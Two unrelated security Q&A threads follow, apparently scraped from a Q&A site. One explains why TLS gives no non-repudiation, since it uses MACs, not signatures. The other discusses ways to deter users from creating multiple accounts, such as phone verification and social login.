Does SSL/TLS provide non-repudiation service? I understand that SSL/TLS provides confidentiality and integrity.

But does it provide non-repudiation? I read in one book it does not. But I wonder why? What does it mean?

If it means Alice can repudiate she holds that public-key? Then, TLS supports non-repudiation as the public-key of the website is digitally signed by a Certificate Authority.
The other possibility is that the book means Alice can repudiate she sent these messages?

Can you clarify this point please, preferably with references.

Update 2017-11-05: "TLS-N" and others
I only recently learned of the existence of a new project. Some guys from the university of Zürich are working on something called "TLS-N" which is dedicated to bringing non-repudiation to TLS. There is no RFC that I know of yet. But they have a white paper. I'm not sure when/if we'll ever see this in the wild. But it's an interesting idea. See: https://tls-n.org
Also mentioned in their paper are some earlier attempts at bringing non-repudiation to TLS called TLS sign and TLS Evidence. Both attempts seem to have died a long time ago.
Your book is right. There is no non-repudiation for regular TLS packets.
When Alice tells Bob "Let's kill the president!" and Bob goes to tell the police, then Alice can always say: "I never said that." So Alice just repudiated the previous statement.
And in regular TLS there is no way for Bob to prove by himself that Alice has in fact repudiated her earlier statement.
So no, regular TLS does NOT provide non-repudiation. So your book was right.
Signatures can provide non-repudiation...
Now why is that? Asymmetric crypto allows you to provide proof of authorship by using Cryptographic Signatures. This WOULD in fact give non-repudiation. Then it would be straight forward to verify Yep, that really WAS signed with Alice's private key. And there is no getting out of that mathematic fact. (Of course then Alice could say: "But my key was stolen!" but there's no denying that her key was used to sign that particular message.)
So if in fact crypto signatures were used for regular TLS packets then they would be non-repudiatable. But signatures are NOT used for the regular TLS packet, so we don't have non-repudiation either.
...but TLS packets are MACed instead
Instead what is used to prove to the other side, My message has NOT been changed along the way is something called a MAC, a Message Authentication Code. MAC-functions work like this: You drop in two inputs and you get one output. One input is a secret MAC-key, the other input is the message that you want to protect. And what falls out is like a two-dozen byte hex-string, called a MAC Value. That string is sent along with the encrypted message. The recipient then feeds the same to inputs into the MAC function again and only accepts the decoded message if the MAC Value matches.
But since Alice and Bob both know the secret-MAC-key either one of them can generate MAC-values for whatever message they like. A MACed message says NOTHING about authorship of either Alice or Bob.
So if Bob goes and tells Charlie: Here's something evil Alice said!, then Alice can rightfully say: You could have written that your self!.
And thus: No non-repuditiation.
Alice beware
But: If there is a trusted third party (Alice's employer Charlie maybe) that has a network dump of the entire conversation between Alice and Bob then Alice will be in trouble. Regardless of any non-repudiation properties of TLS. Because Charlie vouches for the authenticity of the original network dump and Bob provides the key to decrypt the conversation. Of course Alice could still say Charlie is in on this! I'm being framed! but she's basically lost then.


How can I make it more difficult for a user to create multiple accounts? I would like to know the best way to increase security on a website so that the a single user can't create multiple accounts.

What all of a user can be traced? I'm thinking:

IP address
Mac address
Browser details
Computer name and its details

I know an IP address can be spoofed but is there a work around to still identify a banned user? Maybe a combination of IP, MAC, and computer details?

Can we ban users on the basis of their MAC address? Is there any other way to trace them to stop them creating multiple accounts?

There is no effective way to prevent a dedicated attacker from creating multiple accounts.  No matter what you do, the attacker will still be able to create multiple "sock puppet" accounts.  The best you can do is raise the cost of creating additional accounts.

One approach is to require the user to provide a mobile phone number, authenticate the user's phone number (by calling it, speaking a random auth code, and having the user enter in the auth code into the web site, like Google Voice does).  Then you can ensure that each mobile phone number is linked to at most one account.  This does not prevent creating multiple accounts -- an attacker can still buy multiple disposable phones, for instance -- but it raises the attacker's costs and might be enough to convince him/her to bother someone else instead.  The disadvantage is that it prevents some people from using your site, e.g., if they don't have a mobile phone, or if they are not willing to share their mobile phone number with you (people will probably be reluctant to share their mobile number with a site they don't already have a very good trust relationship with).

Another possible approach is to require the user to authenticate with a Facebook account, and rely upon Facebook to check uniqueness.  This is also far from perfect: people can still create fake Facebook accounts.  The disadvantage is that requiring people to log in via Facebook may prevent many people from using your site and is bad for privacy.  It is unfriendly to people who don't want to log in with Facebook, don't use Facebook, or don't want to share their Facebook information with you.

See also How to prevent cheating (extra votes) in online contests? for more discussion about a variety of mitigations.